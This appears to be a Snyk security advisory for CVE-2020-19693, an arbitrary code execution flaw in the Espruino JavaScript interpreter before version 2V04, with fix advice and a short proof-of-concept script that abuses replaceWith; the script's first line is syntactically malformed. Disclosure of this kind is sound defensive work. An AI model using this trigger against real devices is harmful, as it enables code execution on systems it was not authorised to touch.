Arbitrary Code Execution Affecting espruino/espruino package, versions [,2V04)


Severity

Recommended
0.0
critical
0
10

CVSS assessment made by Snyk's Security Team. Learn more

Threat Intelligence

Exploit Maturity
Proof of Concept
EPSS
0.27% (68th percentile)

Do your applications use this vulnerable package?

In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.

Test your applications

Snyk Learn

Learn about Arbitrary Code Execution vulnerabilities in an interactive lesson.

Start learning
  • Snyk IDSNYK-UNMANAGED-ESPRUINOESPRUINO-5422083
  • published13 Apr 2023
  • disclosed13 Apr 2023
  • creditUnknown

Introduced: 13 Apr 2023

CVE-2020-19693  (opens in a new tab)
CWE-94  (opens in a new tab)

How to fix?

Upgrade espruino/espruino to version 2V04 or higher.

Overview

Affected versions of this package are vulnerable to Arbitrary Code Execution via the oldFunc parameter in jswrap_function_replacewith in jswrap_object.c.

PoC

var a "should equal";
for (var i in a)
    a[i]=i;

function test(a,b) {
    return 1;
}

E.mapInPlace.replaceWith.call(a, function(x) {
    return test([].map.call("Hello", function(x) {
        return x + 1;
    }), "H1,e1,l1,l1,o1");
});

CVSS Scores

version 3.1